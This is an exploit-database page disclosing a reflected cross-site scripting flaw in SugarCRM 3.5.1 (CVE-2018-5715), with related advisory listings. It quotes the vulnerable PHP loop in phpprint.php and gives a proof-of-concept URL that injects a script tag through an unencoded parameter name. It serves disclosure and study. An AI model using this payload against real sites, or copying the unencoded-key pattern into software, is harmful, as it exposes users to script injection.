Lucene search
K

SugarCRM 3.5.1 - Cross-Site Scripting Vulnerability

🗓️ 17 Jan 2018 00:00:00Reported by Guilherme AssmannType 
zdt
 zdt
🔗 0day.today👁 23 Views

sugarCRM 3.5.1 Cross-Site Scripting Vulnerability in phpprint.php key paramete

Related
Code
ReporterTitlePublishedViews
Family
CNVD
SugarCRM Cross-Site Scripting Vulnerability (CNVD-2018-03248)
18 Jan 201800:00
cnvd
CVE
CVE-2018-5715
16 Jan 201820:00
cve
Cvelist
CVE-2018-5715
16 Jan 201820:00
cvelist
Exploit DB
SugarCRM 3.5.1 - Cross-Site Scripting
17 Jan 201800:00
exploitdb
EUVD
EUVD-2018-17484
7 Oct 202500:30
euvd
exploitpack
SugarCRM 3.5.1 - Cross-Site Scripting
17 Jan 201800:00
exploitpack
Nuclei
SugarCRM 3.5.1 - Cross-Site Scripting
10 Jun 202605:11
nuclei
NVD
CVE-2018-5715
16 Jan 201820:29
nvd
Packet Storm
SugarCRM 3.5.1 Cross Site Scripting
17 Jan 201800:00
packetstorm
Prion
Design/Logic Flaw
16 Jan 201820:29
prion
Rows per page
# Exploit Title: sugarCRM 3.5.1 XSS refeclted
# Date: 16/01/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://www.sugarcrm.com/
# Version: 3.5.1
# Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox
# Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/
# CVE: CVE-2018-5715
More informations: https://m4k4br0.github.io/sugarcrm-xss/
 
The vulnerability are in the key parameter of phpprint.php
 
32 foreach ($_GET as $key => $val) {
33   if ($key != "print") {
34     if (is_array($val)) {
35       foreach ($val as $k => $v) {
36         $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
37       }
38     }
39     else {
40       $query_string .= "{$key}=" . urlencode($val) . "&";
41     }
42   }
43 }
 
the $key variable are not encoded, this permit that XSS more easy
---------------------------------------------------------------------
Poc:
http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>

#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation